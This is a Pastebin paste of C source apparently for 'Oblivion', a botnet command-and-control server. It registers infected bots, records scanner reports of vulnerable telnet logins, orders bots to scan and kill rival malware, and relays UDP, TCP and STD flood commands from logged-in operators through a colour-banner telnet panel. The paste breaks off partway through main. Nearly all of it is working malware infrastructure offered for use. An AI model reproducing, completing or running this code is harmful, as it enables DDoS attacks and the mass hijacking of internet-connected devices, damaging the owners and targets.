Advertisement
Guest User

oblivion.c

a guest
Nov 7th, 2017
648
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.38 KB | None | 0 0
  1. //Credits to Demented
  2. //CONNECTION HANDLER MODIFIED BY Jonah
  3. //edited banner -xFyfa
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17. #define HACKERZ "V1"
  18. #define MAXFDS 1000000
  19. char *colorCodes[] = {"31m", "32m", "33m", "37m", "35m", "36m"};
  20. char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
  21. struct account {
  22. char id[20];
  23. char password[20];
  24. };
  25. static struct account accounts[50];
  26. struct clientdata_t {
  27. uint32_t ip;
  28. char build[7];
  29. char connected;
  30. } clients[MAXFDS];
  31. struct telnetdata_t {
  32. int connected;
  33. int hax;
  34. } managements[MAXFDS];
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int managesConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  43. {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str)
  49. {
  50. int i;
  51. int begin = 0;
  52. int end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd)
  59. {
  60. int flags, s;
  61. flags = fcntl (sfd, F_GETFL, 0);
  62. if (flags == -1)
  63. {
  64. perror ("fcntl");
  65. return -1;
  66. }
  67. flags |= O_NONBLOCK;
  68. s = fcntl (sfd, F_SETFL, flags);
  69. if (s == -1)
  70. {
  71. perror ("fcntl");
  72. return -1;
  73. }
  74. return 0;
  75. }
  76. int hackz;
  77. static int create_and_bind (char *port)
  78. {
  79. struct addrinfo hints;
  80. struct addrinfo *result, *rp;
  81. int s, sfd;
  82. memset (&hints, 0, sizeof (struct addrinfo));
  83. hints.ai_family = AF_UNSPEC;
  84. hints.ai_socktype = SOCK_STREAM;
  85. hints.ai_flags = AI_PASSIVE;
  86. s = getaddrinfo (NULL, port, &hints, &result);
  87. if (s != 0)
  88. {
  89. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  90. return -1;
  91. }
  92. for (rp = result; rp != NULL; rp = rp->ai_next)
  93. {
  94. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  95. if (sfd == -1) continue;
  96. int yes = 1;
  97. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  98. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  99. if (s == 0)
  100. {
  101. break;
  102. }
  103. close (sfd);
  104. }
  105. if (rp == NULL)
  106. {
  107. fprintf (stderr, "Could not bind\n");
  108. return -1;
  109. }
  110. freeaddrinfo (result);
  111. return sfd;
  112. }
  113. void broadcast(char *msg, int us, char *sender)
  114. {
  115. int sendMGM = 1;
  116. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  117. char *wot = malloc(strlen(msg) + 10);
  118. memset(wot, 0, strlen(msg) + 10);
  119. strcpy(wot, msg);
  120. trim(wot);
  121. time_t rawtime;
  122. struct tm * timeinfo;
  123. time(&rawtime);
  124. timeinfo = localtime(&rawtime);
  125. char *timestamp = asctime(timeinfo);
  126. trim(timestamp);
  127. int i;
  128. for(i = 0; i < MAXFDS; i++)
  129. {
  130. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  131. if(sendMGM && managements[i].connected)
  132. {
  133. send(i, "\x1b[36m", 5, MSG_NOSIGNAL);
  134. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  135. send(i, ": ", 2, MSG_NOSIGNAL);
  136. }
  137. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  138. char *lol[1024];
  139. char usernames[80];
  140. sprintf(lol, "\r\n\x1b[%s~$ \x1b[37m", colorCodes[rand() % 6]);
  141. if(sendMGM && managements[i].connected) send(i, lol, strlen(lol), MSG_NOSIGNAL);
  142. else send(i, "\n", 1, MSG_NOSIGNAL);
  143. }
  144. free(wot);
  145. }
  146. void *epollEventLoop(void *useless)
  147. {
  148. struct epoll_event event;
  149. struct epoll_event *events;
  150. int s;
  151. events = calloc (MAXFDS, sizeof event);
  152. while (1)
  153. {
  154. int n, i;
  155. n = epoll_wait (epollFD, events, MAXFDS, -1);
  156. for (i = 0; i < n; i++)
  157. {
  158. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  159. {
  160. clients[events[i].data.fd].connected = 0;
  161. close(events[i].data.fd);
  162. continue;
  163. }
  164. else if (listenFD == events[i].data.fd)
  165. {
  166. while (1)
  167. {
  168. struct sockaddr in_addr;
  169. socklen_t in_len;
  170. int infd, ipIndex;
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1)
  174. {
  175. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  176. else
  177. {
  178. perror ("accept");
  179. break;
  180. }
  181. }
  182. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  183. int dup = 0;
  184. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  185. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  186. if(clients[ipIndex].ip == clients[infd].ip == clients[infd].ip) {
  187. dup = 1;
  188. break;
  189. }}
  190. if(dup) {
  191. if(send(infd, "DUP\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  192. if(send(infd, "!* DUP\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  193. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  194. close(infd);
  195.  
  196. continue;
  197. }
  198.  
  199.  
  200. s = make_socket_non_blocking (infd);
  201. if (s == -1) { close(infd); break; }
  202. event.data.fd = infd;
  203. event.events = EPOLLIN | EPOLLET;
  204. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  205. if (s == -1)
  206. {
  207. perror ("epoll_ctl");
  208. close(infd);
  209. break;
  210. }
  211. clients[infd].connected = 1;
  212. send(infd, "!* QTELNET 1500 1\r\n", 19, MSG_NOSIGNAL);
  213. send(infd, "!* NETIS ON\r\n", 13, MSG_NOSIGNAL);
  214. send(infd, "!* BOTKILLER ON\r\n", 17, MSG_NOSIGNAL);
  215. }
  216. continue;
  217. }
  218. else
  219. {
  220. int thefd = events[i].data.fd;
  221. struct clientdata_t *client = &(clients[thefd]);
  222. int done = 0;
  223. client->connected = 1;
  224. while (1)
  225. {
  226. int cheats;
  227. ssize_t count;
  228. char buf[2048];
  229. memset(buf, 0, sizeof buf);
  230. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  231. {
  232. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  233. trim(buf);
  234. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  235. {
  236. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  237. continue;
  238. }
  239. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  240. {
  241. char *line = strstr(buf, "REPORT ") + 7;
  242. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  243. fflush(telFD);
  244. TELFound++;
  245. continue;
  246. }
  247. if(strstr(buf, "PROBING") == buf)
  248. {
  249. char *line = strstr(buf, "PROBING");
  250. scannerreport = 1;
  251. continue;
  252. }
  253. if(strstr(buf, "REMOVING PROBE") == buf)
  254. {
  255. char *line = strstr(buf, "REMOVING PROBE");
  256. scannerreport = 0;
  257. continue;
  258. }
  259. if(strcmp(buf, "PONG") == 0)
  260. {
  261. continue;
  262. }
  263. printf("\"%s\"\n", buf);
  264. }
  265. if (count == -1)
  266. {
  267. if (errno != EAGAIN)
  268. {
  269. done = 1;
  270. }
  271. break;
  272. }
  273. else if (count == 0)
  274. {
  275. done = 1;
  276. break;
  277. }
  278. }
  279. if (done)
  280. {
  281. client->connected = 0;
  282. close(thefd);
  283. }
  284. }
  285. }
  286. }
  287. }
  288. unsigned int clientsConnected()
  289. {
  290. int i = 0, total = 0;
  291. for(i = 0; i < MAXFDS; i++)
  292. {
  293. if(!clients[i].connected) continue;
  294. total++;
  295. }
  296. return total;
  297. }
  298. void *titleWriter(void *sock)
  299. {
  300. int thefd = (int)sock;
  301. char string[2048];
  302. while(1)
  303. {
  304. memset(string, 0, 2048);
  305. sprintf(string, "%c]0; :|: Bots Online: %d :|: Telnet Logins: %d :|: Users Online: %d :|:%c", '\033', clientsConnected(), TELFound, managesConnected, '\007');
  306. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  307. sleep(2);
  308. }
  309. }
  310. int Search_in_File(char *str)
  311. {
  312. FILE *fp;
  313. int line_num = 0;
  314. int find_result = 0, find_line=0;
  315. char temp[512];
  316. if((fp = fopen("login.txt", "r")) == NULL){
  317. return(-1);
  318. }
  319. while(fgets(temp, 512, fp) != NULL){
  320. if((strstr(temp, str)) != NULL){
  321. find_result++;
  322. find_line = line_num;
  323. }
  324. line_num++;
  325. }
  326. if(fp)
  327. fclose(fp);
  328. if(find_result == 0)return 0;
  329. return find_line;
  330. }
  331. void *telnetWorker(void *sock)
  332. {
  333. char usernames[80];
  334. int thefd = (int)sock;
  335. int find_line;
  336. managesConnected++;
  337. pthread_t title;
  338. char counter[2048];
  339. memset(counter, 0, 2048);
  340. char buf[2048];
  341. char* nickstring;
  342. char* username;
  343. char* password;
  344. memset(buf, 0, sizeof buf);
  345. char hackz[2048];
  346. memset(hackz, 0, 2048);
  347. FILE *fp;
  348. int i=0;
  349. int c;
  350. fp=fopen("login.txt", "r"); // format: user pass
  351. while(!feof(fp))
  352. {
  353. c=fgetc(fp);
  354. ++i;
  355. }
  356. int j=0;
  357. rewind(fp);
  358. while(j!=i-1)
  359. {
  360. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  361. ++j;
  362. }
  363. sprintf(hackz, "\x1b[%sUsername:\x1b[%s ", colorCodes[(rand() % 6)], colorCodes[(rand() % 2)]);
  364. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  365. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  366. trim(buf);
  367. sprintf(usernames, buf);
  368. nickstring = ("%s", buf);
  369. find_line = Search_in_File(nickstring);
  370. if(strcmp(nickstring, accounts[find_line].id) == 0){
  371. sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
  372. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  373. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  374. trim(buf);
  375. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  376. memset(buf, 0, 2048);
  377. goto hacker;
  378. }
  379. failed:
  380. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  381. if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  382. sleep(2);
  383. if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  384. sleep(2);
  385. goto end;
  386. hacker:
  387. pthread_create(&title, NULL, &titleWriter, sock);
  388. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  389. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  390. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe
  391. char ascii_banner_line1 [5000];
  392. char ascii_banner_line2 [5000];
  393. char ascii_banner_line3 [5000];
  394. char ascii_banner_line4 [5000];
  395. char ascii_banner_line5 [5000];
  396. char ascii_banner_line6 [5000];
  397. char ascii_banner_line7 [5000];
  398. char ascii_banner_line8 [5000];
  399. char ascii_banner_line9 [5000];
  400. char ascii_banner_line10 [5000];
  401. char ascii_banner_line11 [5000];
  402. char *root223[1024];
  403. char *root224[1024];
  404. char *root225[1024];
  405. char *root226[1024];
  406.  
  407. char spinBuf[4]={'/','-','\\','|'};
  408.  
  409. /*
  410. sprintf(root226, "\x1b[%s Loading Oblivion By xFyfa | @ethan.sh [ %d %]\r\n\r\n", colorCodes[rand() % 5]);
  411. sleep(.9);
  412. if(send(thefd, "\x1b[31m[x] DDOS | Succesfully hijacked connection.\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  413. sleep(1.7);
  414.  
  415. if(send(thefd, "\x1b[33m[x] DDOS | Masking connection from utmp+wtmp...\r\n", 59, MSG_NOSIGNAL) == -1) goto end;
  416. sleep(1.2);
  417. if(send(thefd, "\x1b[35m[x] DDOS | Hiding from netstat...\r\n", 46, MSG_NOSIGNAL) == -1) goto end;
  418. sleep(1);
  419. if(send(thefd, "\x1b[36m[x] DDOS | Removing all traces of LD_PRELOAD...\r\n", 57, MSG_NOSIGNAL) == -1) goto end;
  420. sleep(1.7);
  421. int ii;
  422. for( ii = 0; ii < 5; ii++ )
  423. {
  424. sleep(.9);
  425. sprintf(root224, "\x1b[%s [x] DDOS | Wiping env libc.poison.so.%d\r\n", colorCodes[rand() % 5], ii + 1 );
  426. if(send(thefd, root224, strlen(root224), MSG_NOSIGNAL) == -1) goto end;
  427. sleep(.6);
  428. }
  429. sleep(1.3);
  430. if(send(thefd, "\x1b[31m[X] DDOS | Setting up virtual terminal...\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  431. if(send(thefd, "\x1b[34m\r\n[X] DDOS | FINISHED, RUNNING EXISTING PAYLOAD!\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  432. sleep(4.5);
  433. */
  434. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  435. sprintf(ascii_banner_line1, " \x1b[%s \r\n", colorCodes[(rand() % 6)]);
  436. sprintf(ascii_banner_line2, " \x1b[%s \x1b[%s ,, \x1b[%s ,, \x1b[%s ,, \x1b[%s ,, \x1b[%s \x1b[%s \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  437. sprintf(ascii_banner_line3, " \x1b[%s .g8""8q. \x1b[%s *MM \x1b[%s `7MM db \x1b[%s db \x1b[%s \x1b[%s \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  438. sprintf(ascii_banner_line4, " \x1b[%s.dP' `YM.\x1b[%s MM \x1b[%s MM \x1b[%s \x1b[%s \x1b[%s \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  439. sprintf(ascii_banner_line5, " \x1b[%sdM' `MM \x1b[%sMM,dMMb. \x1b[%sMM \x1b[%s`7MM \x1b[%s`7M' `MF'\x1b[%s`7MM \x1b[%s ,pW'Wq.\x1b[%s`7MMpMMMb. \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  440. sprintf(ascii_banner_line6, " \x1b[%sMM MM \x1b[%sMM `Mb \x1b[%sMM \x1b[%s MM \x1b[%s VA ,V \x1b[%s MM \x1b[%s6W' `Wb \x1b[%sMM MM \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  441. sprintf(ascii_banner_line7, " \x1b[%sMM. ,MP \x1b[%sMM M8 \x1b[%sMM \x1b[%s MM \x1b[%s VA ,V \x1b[%s MM \x1b[%s8M M8 \x1b[%sMM MM \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  442. sprintf(ascii_banner_line8, " \x1b[%s`Mb. ,dP'\x1b[%s MM. ,M9 \x1b[%sMM \x1b[%s MM \x1b[%s VVV \x1b[%s MM \x1b[%sYA. ,A9 \x1b[%sMM MM \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  443. sprintf(ascii_banner_line9, " \x1b[%s ''bmmd'' \x1b[%s P^YbmdP'\x1b[%s.JMML..\x1b[%sJMML. \x1b[%s W \x1b[%s .JMML.\x1b[%s`Ybmd9'\x1b[%s.JMML JMML.\r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  444. sprintf(ascii_banner_line10," \x1b[%s B Y \x1b[%s x F Y F A\x1b[%s |\x1b[%s @ E T H A N . S H \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  445. sprintf(ascii_banner_line11," \x1b[31m <--------------------------------------> \r\n");
  446. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  447. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  448. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  455. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  457. sprintf(hackz, " \x1b[%s\r\nWelcome,\x1b[34m %s\x1b[%s To the Oblivion\r\n\r\n", colorCodes[(rand() % 6)], usernames, colorCodes[(rand() % 6)]);
  458. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  459.  
  460. sprintf(root223, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  461. if(send(thefd, root223, strlen(root223), MSG_NOSIGNAL) == -1) goto end;
  462. pthread_create(&title, NULL, &titleWriter, sock);
  463. managements[thefd].connected = 1;
  464. while(fdgets(buf, sizeof buf, thefd) > 0)
  465. {
  466. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  467. {
  468. sprintf(hackz, "[\x1b[36m+\x1b[37m] Bots Online: %d [\x1b[31m-\x1b[37m] Users Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected);
  469. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  470. }
  471. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  472. {
  473. sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n");
  474. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  475. }
  476.  
  477. if(strstr(buf, "PORT_SCAN")) {
  478. sleep(2);
  479. sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]);
  480. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  481. }
  482. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  483. {
  484. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  485. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  486. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  487. sprintf(ascii_banner_line1, " \x1b[%s \r\n", colorCodes[(rand() % 6)]);
  488. sprintf(ascii_banner_line2, " \x1b[%s \x1b[%s ,, \x1b[%s ,, \x1b[%s ,, \x1b[%s ,, \x1b[%s \x1b[%s \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  489. sprintf(ascii_banner_line3, " \x1b[%s .g8""8q. \x1b[%s *MM \x1b[%s `7MM db \x1b[%s db \x1b[%s \x1b[%s \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  490. sprintf(ascii_banner_line4, " \x1b[%s.dP' `YM.\x1b[%s MM \x1b[%s MM \x1b[%s \x1b[%s \x1b[%s \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  491. sprintf(ascii_banner_line5, " \x1b[%sdM' `MM \x1b[%sMM,dMMb. \x1b[%sMM \x1b[%s`7MM \x1b[%s`7M' `MF'\x1b[%s`7MM \x1b[%s ,pW'Wq.\x1b[%s`7MMpMMMb. \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  492. sprintf(ascii_banner_line6, " \x1b[%sMM MM \x1b[%sMM `Mb \x1b[%sMM \x1b[%s MM \x1b[%s VA ,V \x1b[%s MM \x1b[%s6W' `Wb \x1b[%sMM MM \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  493. sprintf(ascii_banner_line7, " \x1b[%sMM. ,MP \x1b[%sMM M8 \x1b[%sMM \x1b[%s MM \x1b[%s VA ,V \x1b[%s MM \x1b[%s8M M8 \x1b[%sMM MM \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  494. sprintf(ascii_banner_line8, " \x1b[%s`Mb. ,dP'\x1b[%s MM. ,M9 \x1b[%sMM \x1b[%s MM \x1b[%s VVV \x1b[%s MM \x1b[%sYA. ,A9 \x1b[%sMM MM \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  495. sprintf(ascii_banner_line9, " \x1b[%s ''bmmd'' \x1b[%s P^YbmdP'\x1b[%s.JMML..\x1b[%sJMML. \x1b[%s W \x1b[%s .JMML.\x1b[%s`Ybmd9'\x1b[%s.JMML JMML.\r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  496. sprintf(ascii_banner_line10," \x1b[%s B Y \x1b[%s x F Y F A\x1b[%s |\x1b[%s @ E T H A N . S H \r\n", colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)], colorCodes[(rand() % 6)]);
  497. sprintf(ascii_banner_line11," \x1b[31m <--------------------------------------> \r\n");
  498. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  502. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  503. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  504. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  505. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  506. if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  507. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  508. if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  509. sprintf(hackz, " \x1b[%s\r\nWelcome,\x1b[34m %s\x1b[%s To the Oblivion\r\n\r\n", colorCodes[(rand() % 6)], usernames, colorCodes[(rand() % 6)]);
  510. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  511. pthread_create(&title, NULL, &titleWriter, sock);
  512. managements[thefd].connected = 1;
  513. }
  514. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  515. {
  516. goto end;
  517. }
  518. trim(buf);
  519. char *root2[1024];
  520. sprintf(root2, "\x1b[%s~$ \x1b[0;37m ", colorCodes[rand() % 5], usernames);
  521. if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end;
  522. if(strlen(buf) == 0) continue;
  523. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  524. FILE *logFile;
  525. logFile = fopen("report.log", "a");
  526. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  527. fclose(logFile);
  528. broadcast(buf, thefd, usernames);
  529. memset(buf, 0, 2048);
  530. }
  531. end: // cleanup dead socket
  532. managements[thefd].connected = 0;
  533. close(thefd);
  534. managesConnected--;
  535. }
  536. void *telnetListener(int port)
  537. {
  538. int sockfd, newsockfd;
  539. socklen_t clilen;
  540. struct sockaddr_in serv_addr, cli_addr;
  541. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  542. if (sockfd < 0) perror("ERROR opening socket");
  543. bzero((char *) &serv_addr, sizeof(serv_addr));
  544. serv_addr.sin_family = AF_INET;
  545. serv_addr.sin_addr.s_addr = INADDR_ANY;
  546. serv_addr.sin_port = htons(port);
  547. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  548. listen(sockfd,5);
  549. clilen = sizeof(cli_addr);
  550. while(1)
  551. {
  552. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  553. if (newsockfd < 0) perror("ERROR on accept");
  554. pthread_t thread;
  555. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  556. }
  557. }
  558. int main (int argc, char *argv[], void *sock)
  559. {
  560. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  561. int s, threads, port;
  562. struct epoll_event event;
  563. if (argc != 4)
  564. {
  565. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  566. exit (EXIT_FAILURE);
  567. }
  568. port = atoi(argv[3]);
